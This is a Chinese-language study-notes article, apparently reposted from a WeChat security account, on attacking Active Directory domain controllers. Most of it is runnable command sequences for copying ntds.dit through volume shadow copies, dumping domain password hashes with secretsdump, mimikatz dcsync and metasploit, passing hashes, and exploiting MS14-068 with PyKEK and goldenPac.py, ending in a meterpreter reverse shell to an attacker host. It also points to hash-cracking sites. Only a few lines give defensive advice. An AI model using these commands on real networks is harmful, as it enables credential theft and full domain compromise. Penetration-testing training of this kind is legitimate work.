《内网安全攻防渗透测试实战指南》学习笔记整理,快速掌握内网渗透的关键知识点:
PS:本文比较干货,可以收藏起来慢慢看,慢慢学
在通常情况下、即使拥有管理员权限,也无法读取域控制器中的C:WindwosNTDSntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务可以获得文件的副本。
在本章中,将介绍常用的提取ntds.dit文件的方法,并对非法提取ntds.dit文件、通过MS14-068漏洞攻击域控制器等恶意行为给出防范建议。
使用卷影拷贝服务提取ntds.dit(活动目录数据库文件)
在活动目录中,所有的数据都保存在 ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%ntdsntds.dit。ntds.dit 中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。
本节将介绍如何从系统中导出ntds.dit,以及如何读取ntds.dit中的信息。在一般情况下,系统运维人员会利用卷影拷贝服务(Volume Shadow Copy Service, VSS)实现这些操作。VSS本质上属快照(Snapshot)技术的一种,主要用于备份和恢复(即使目标文件处于锁定状态)。
通过ntdsutil.exe提取ntds.dit
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用 ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上、可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有 Windows Server 2003、 Windows Server 2008、 Windows Server 2012。
下面通过实验来讲解使用ntdsutil.exe提取ntds.dit的方法。
1.在域控制器的命令行环境中创建一个快照。该快照包含Windows的所有文件,且在复制文件时不会受到Windows锁定机制的限制。
ntdsutil snapshot "activate instance ntds" create quit quit
可以看到,创建了一个GUID为{529................405}的快照。
2.接下来,加载刚刚创建的快照。输入如下命令,将快照加载到系统中。(其中GUID就是刚刚创建的快照的GUID)
ntdsutil snapshot "mount {GUID}" quit quit
在本实验中,快照被加载到C:$SNAP_202111172107_VOLUMEC$目录下
3.在命令行环境中输入如下命令,使用Windows自带的copy命令将快照中的文件复制出来。
copy C:$SNAP_202111172107_VOLUMEC$WindowsNTDSntds.dit C:tempntds.dit
1.卸载之前加载的快照并删除
ntdsutil snapshot "unmount {529................405}" "delete {529................405}" quit quit
其中,529................405为所创建快照的GUID。
再次查询当前系统中的所有快照,显示没有任何快照,表示删除成功:
ntdsutil snapshot "List All" quit quit
利用vssadmin提取ntds.dit
vssadmin是 Windows Server 2008 & Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统 Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。vssadmin的操作流程和ntdsutil类似/
1.在域控制器中打开命令行环境,输入如下命令,创建一个C盘的卷影拷贝
vssadmin create shadow /for=c:
2.在创建的卷影拷贝中将ntds.dit 复制出来
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy2windowsNTDSntds.dit c:ntds.ditdir c: |findstr "ntds"
3.删除快照
vssadmin delete shadows /for=c: /quiet
·利用vssown.vbs脚本提取ntds.dit
vssown.vbs脚本的功能和vssadmin类似。vssown.vbs 脚本是由Tim Tomes开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。下载:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
可以在命令行环境中执行该脚本。该脚本中的常用命令如下
//启动卷影拷贝服务cscript vssown.vbs /start//创建一个C盘的卷影拷贝cscript vssown.vbs /create c//列出当前卷影拷贝cscript vssown.vbs /list//删除卷影拷贝cscript vssown.vbs /delete
使用ntdsutil的IFM创建卷影拷贝
除了按照前面介绍的方法通过执行命令来提取ntds dit,也可以使用创建一个 IFM的方式获取nsdi。在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds. dit和计算机的SAM文件复制到目标文件夹中等操作。这些操作也可以通过PowerShell或WMI远程执行
1.在域控制器中以管理员模式打开命令行
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
2.会将ntds.dit复制到c:testActive Directory文件夹下,将SYSTEM和SECURITY复制到c:testregistry文件夹下
3.将ntds.dit拖回本地后,在目标机器上将test文件夹删除
rmdir /s/q test
在Nishang中有一个powershell脚本Copy-VSS.ps1,利用该脚本可以将SAM、SYSTEM、ntds.dit复制到与该脚本相同的目录中。
import-module .Copy-VSS.ps1Copy-vss
使用diskshadow导出ntds.dit
微软官方文档中有这样的说明:“diskshadow.exe 这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。在默认配置下,diskshadow.exe 使用了一种交互式命令解释器, 与DiskRaid或DiskPart类似。”事实上,因为diskshadow的代码是由微软签名的,而且Windows Server 2008、Windows Server 2012和Windows Server 2016都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds dit。diskshadow的功能与vshadow类似,且同样位于C:windowssystem32目录下。不过,vshdow是包含在Windows SDK中的,在实际应用中可能需要将其上传到目标机器中。
diskhadow 有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用exee调取一个脚本 文件来执行相关命令。下面通过实验讲解diskshadow的常见命令及用法。
diskshadow.exe /? #查看diskshadow.exe的帮助信息
在渗透测试中,可以使用diskshadow.exe来执行命令。例如,将需要执行的命令"exec c:windowssystem32calc.exe"写入c盘目录下的command.txt文件,使用diskshadow.exe执行该文件中的命令
diskshadow.exe也可以用来导出ntds.dit。将如下命令写入一个文本文件:
//设置卷影拷贝set context persistent nowriters//添加卷add volume c: alias someAlias //创建快照create //分配虚拟磁盘盘符expose %someAlias% k: //将ntds.dit复制到C盘c:ntds.ditexec "cmd.exe" /c copy K:WindowsNTDSntds.dit c:ntds.dit //删除所有快照delete shadows all //列出系统中的卷影拷贝list shadows all //重置reset //退出exit
使用diskshadow.exe加载command.txt文件(ps:需要在c:windowssystem32下执行)
c:WindowsSystem32>diskshadow /s command.txt
导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit的密钥,所以如果没有该密钥,将无法查看ntds.dit中的信息
c:>reg save hklmsystem c:windowstempsystem.hive
在使用diskshadow的过程中,需要注意以下几点:
1、渗透测试人员可以在非特权用户权限下使用diskshadow.exe 的部分功能。与其他工具相比,diskshadow 的使用更为灵活。2、在使用diskshadow.exe 执行命令时,需要将文本文件上传到目标操作系统的本地磁盘中,或者通过交互模式完成操作。而在使用vshadow等工具时,可以直接执行相关命令。3、在渗透测试中,应该先将含有需要执行的命令的文本文件写人远程目标操作系统,再使用diskshadow.exe调用该文本文件。4、在使用diskshadow.exe导出ntds.dit时,可以通过WMI对远程主机进行操作。5、在使用diskshadow.exe导出ntds.dit时,必须在C:windowssystem32中进行操作。6、脚本执行后,要检查从快照中复制出来的ntds.dit文件的大小。如果文件大小发生了改变,可以检查或修改脚本后重新执行。
监控卷影拷贝服务的使用情况
通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
1、监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。2、监控System Event ID 7036(卷影拷贝服务进人运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。3、监控创建dkshndko.exe及相关子进程的事件。4、监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要, 在Windows操作系统中不应该出现diskshadow.exe.如果发现,应立刻将其删除。5、通过日志监控新出现的逻辑驱动器映射事件。
导出ntds.dit中的散列值
使用esedbexport恢复ntds.dit (kali环境有问题,暂未复现)
目的:将从目标系统中导出的ntds.dit放在本地Linux机器中进行解析
·导出ntds.dit
在kali的命令行环境中输入如下命令,下载libesedb:
wget https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gz
安装依赖环境:
apt-get install autoconf automake autopoint libtool pkg-config
依次输入如下命令,对libesedb进行编译和安装
./configuremakesudo make installsudo ldconfig
安装完成后,会在系统的/usr/local/bin目录下看到esedbexport程序。
在kali的命令行环境中,进入存放ntds.dit的目录,使用esedbexport进行恢复操作。输入如下命令提取表信息。(操作需要的时间视ntds.dit的大小而定。如果提取成功,会在同一目录下生成一个文件夹ntds.dit.export。在本实验中,只需要其中的database和link_table。
esedbexport -m tables ntds.dit
·导出散列值
在kali中输入如下命令,下载ntdsxtract
git clone https://github.com/csababarta/ntdsxtract.git
安装ntdsxtract
python setup.py build & python setpy.py install
输入如下命令,将导出的ntds.dit.export文件夹和SYSTEM文件一并放入ntdsxtract文件夹
dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt
将域内的所有用户名及散列值导出到all_user.txt中。
ntds.dit包含域内的所有信息,可以通过分析ntds.dit导出域内的计算机信息及其他信息
dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv
执行以上命令,可以导出域内所有计算机的信息。
使用impacket工具包导出散列值
使用impacket工具包中的secretsdump,也可以解析ntds.dit文件,导出散列值
在Kali Linux的命令行环境中输入如下命令,下载impacket数据包,
git clone https://github.com/SecureAuthCorp/impacket
将impacket工具包安装到kali中:
python setup.py install
执行以上命令后,在kali命令行中输入以下命令,导出ntds.dit中的所有散列值:
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
impacket还可以直接通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:f478e94103927311912ff00846210a30 -just-dc testlab.com/[email protected]
在Windows下解析ntds.dit并导出域账号的域散列值
使用NTDSDumpex.exe可以进行导出散列值的操作。下载:
将ntds.dit、SYSTEM和NTDSDumpex.exe放在同一目录下,打开命令行环境,输人如下命令,导出域账号和域散列值
NTDSDumpex.exe -d ntds.dit -s system
利用dcsync获取域散列值
使用mimikatz转储域散列值
mimikaz有一个dcsync功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值。需要注意的是,必须使用域管理员权限运行mimikatz才可以读取ntds.dit.
在域内的任意一台计算机中,以域管理员权限打开命令行环境,运行mimkatz。输入如下命令,使用mimikatz导出域内的所有用户名及散列值:
lsadump::dcsync /domain:yokan.com /all /csv
使用mimikaz的dcsync功能也可以导出指定用户的散列值。执行如下命令,直接导出域用户yokan的散列值:
lsadump::dcsync /domain:yokan.com /user:yokan
也可以直接在域控制器中运行mimikatz,通过转储lsass.exe进程对散列值进行dump操作,命令如下:
privilege::debuglsadump::lsa /inject
如果没有预先执行prvile::debug命令,将导致权限不足、读取失败。如果用户数量太多,mimikatz 无法完全将其显示出来,可以先执行log命令(会在mimikatz目录下生成一个文本文件,用于记录mimikaz的所有执行结果)。
利用dcsync获取域账号的域散列值
Invoke _DCSync.ps1可以利用desync直接读取ntds.dit,以获取域账号和域散列值,下载:
输人"nvoke-DCSync -PWDumpFormat"命令(-PWDumpFormat参数用于对输出的内容进行格式化)
使用metasploit获取域散列值
1、psexec_ntdsgrab模块的使用
在kali的msf环境中输入:
use auxiliary/admin/smb/psexec_ntdsgrab
输入"show options"命令,查看需要配置的参数。在本实验中,需要配置的参数有RHOST,SMBDomian,SMBUser,SMBPass
配置完毕,输入"exploit"命令并执行,并会将域控的ntds.dit文件和SYSTEM项复制并传送到kali的/root/.msf/loot文件夹下
接下来就可以使用impacket工具包等解析ntds.dit文件,导出域账号和域散列值了。
2、基于meterpreter会话获取域账号和域散列值
获取到域控制的meterpreter会话
之后,使用domain_hashdump模块获取域账号和域散列值
use windows/gather/credentials/domain_hashdumpset session 1exploit
(payload忘记用x64,步骤就是这样,不改了)
使用vshadow.exe和QuarksPwDump.exe导出域账号和域散列值
在正常的域环境中,ntds.dit文件里包含大量的信息,体积较大,不方便保存到本地。如果域控制器上没有安装杀毒软件,攻击者就能直接进人域控制器,导出ntds.dit并获得域账号和域散列值,而不需要将ntds.dit保存到本地。
1、QuarksPwDump可以快速、安全、全面地读取全部域账号和域散列值。下载:https://github.com/quarkslab/quarkspwdump
2、ShadowCopy是一款免费的增强型文件复制工具。ShadowCopy 使用微软的卷影拷贝技术,能够复制被锁定的文件及被其他程序打开的文件。
3、vshadow.exe是从Windows SDK中提取出来的。在本实验中,安装vshadow.exe 后,会在VSSDK72TestAppsvshadow目录下生成一个bin文件vshadow.exe (可以将该文件单独提取出来使用)
将以上三个文件全部放人domainhash文件夹中
在shadowcopy.bat中设置工作目录为C:WindowsTemp(目录可以在shadowcopy.bat中自行设置)
执行shadow.bat脚本(该脚本使用vshadow.exe生成快照),复制ntds.dit.然后,使用QuarksPwDump修复ntds.dit并导出域散列值。运行该脚本后,会在刚刚设置的工作目录下存放导出的ntds.dit和hash.txt(包含域内所有的域账号及其散列值)。
本节列举了多种导出用户散列值的方法。在获得散列值后,可以使用本地工具或者在线工具对其进行破解。如果采用本地破解的方式,可以使用Cain、LC7、Opherack(http://ophcrack.sourceforge.net/tables.php)、SAMInside、Hashal 等工具。如果采用在线破解的方式,针对NTLM Hash的在线破解网站如https://www.somd5.com/ 、https://www.objectif-securite.ch/ophcrack 、http://www.cmd5.com/,针对LM Hash的在线破解网站如http://cracker.offensive-security.com/index.php 、
Kerberos域用户提权漏洞分析域防范
微软在2014年1月18日发布了一个紧急补了,修复了Kerhers 城用户提权漏润(MS14-068��CVE-2014-6324) . 所有Windwos服务器操作系统都会受该漏洞的影响,包括WindowsServer2003、Windows Server 2008 Windows Sever 2008 R2、Windows Server 2012和2012R2。该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell 权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。
这个漏洞产生的原因是:用户在向Kerberos 密钥分发中心( KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而在处理该票据时未验证票据的签名, 那么返给用户的 TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC, KDC的TGS (票据授权服务)在验证TGT后,将服务票据(Service Ticket)发送给该用户,而该用户拥有访问任何该服务的权限,从而使攻击者可以访问域内的资源。
以下将在测试环境中对该漏洞进行分析,并给出相应的修复方案
测试环境
域:yokan.com
域账号:98612/*******
域用户SID:S-1-5-21-3711814681-2143907425-4066055064-1000
域控制器: WIN-1D09BAA27UF.yokan.com
Kali机器的IP地址:192.168.111.238
域机器的IP地址:192.168.111.134
PyEKE工具��
PyKEK (Pybon Kerberos Expoiation Kit)是利用Kerberos协议进行渗透测试的工具包,使用PyKEK可以生成一张高权限的服务票据,并通过mimikatz将服务票据注人内存。
下载: mubix/pykek: Kerberos Exploitation Kit (github.com)
PyKEK只需要系统中配置Python 2.7环境就可以运行。使用PyKEK,可以将Python文件转换为可执行文件
·工具说明
ms14-068.py是PyKEK工具包中的MS14-068漏洞利用脚本
-u
·查看域控制器的补丁安装情况
微软针对MS14-068(CVE-2014-6324)漏洞提供的补丁为KB3011780。输入命令“wmic qfe get hotfixid”,未发现该补丁
·查看用户的SID
以用户98612的身份登录,输入命令“whoami /user",可以看到该用户的SID
还有一个获取用户SID的方法。输入命令"wmic useraccount get name,sid",获取域内所有用户的SID
·生成高权限票据
使用pykek生成高权限票据的命令,格式如下:
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
在pykek目录中 输入如下命令,在当前目录下生成了一个名为”TGT_[email protected]ache“的票据文件
python ms14-068.py -u [email protected] -s S-1-5-21-3711814681-2143907425-4066055064-1000 -d 192.168.111.134 -p ********
·查看注入前的权限
输入命令"dir \WIN-1D09BAA27UFc$",访问被拒绝,表示在将票据注入前无法列出域控制器C盘目录的内容
·清楚内存中的所有票据
打开mimikata,输入命令"kerberos::purge",清除内存中的票据信息
·将高权限票据注入内存
将生成的票据文件([email protected])放到域机器的mimikatz目录下,使用mimikatz将票据注入内存
kerberos::ptc "[email protected]"
·验证权限
使用dir命令,列出域控制器C盘的内容
goldenPac.py
goldenPac.py是一个用于对Kerberos进行测试的工具,它集成在impacket/examples下。
命令格式:
python goldenPac.py 域名/域成员用户:域成员用户密码@域控制器地址
·安装kerberos客户端
kali中默认不包含kerberos客户端,因此需要单独安装
apt-get install krb5-user -y
·配合使用PsExec获取域控制器的shell
使用goldenPac.py获取域控制器的shell
(goldenPac.py是通过psexec获取shell的,会产生大量的日志,加之psexec已经被很多反病毒厂商列为危险软件,所以,在日常网络维护中,我们很容易就能发现攻击者使用goldenPac.py实现的恶意行为)
在metasploit中进行测试ms14-068
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
填写以上信息后,输入exploit命令,会在/root/.msf4/loot目录下生成文件
接下来进行格式转换。因为Metasploit不支持bin文件的导入,所以要先使用mimikatz对文件进行格式转换。在mimikatz中输入如下命令,导出kirbi格式的文件
将导出kirbi格式的文件上传到kali中
使域机器在msf上线:
输入load kiwi命令 (kiwi模块是在mimikatz功能基础上的扩展)
然后输入如下命令将票据导入
kerberos_ticket_use /tmp/[email protected]
接着输入background命令,切换到meterpreter后台,使用高权限票据进行测试
backgrounduse exploit/windows/local/current_user_psexecset payload windows/x64/meterpreter/reverse_tcpset TECHNIQUE PSHset RHOSTS WIN-1D09BAA27UF.yokan.comset lhost 192.168.111.238set session 1exploit
防范建议
开启Windows Update功能,进行自动更新。
手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁
对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。
在服务器上安装反病毒软件,及时更新病毒库。
原文始发于微信公众号(安全帮):《内网安全攻防渗透测试实战指南》笔记之域控制器安全
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论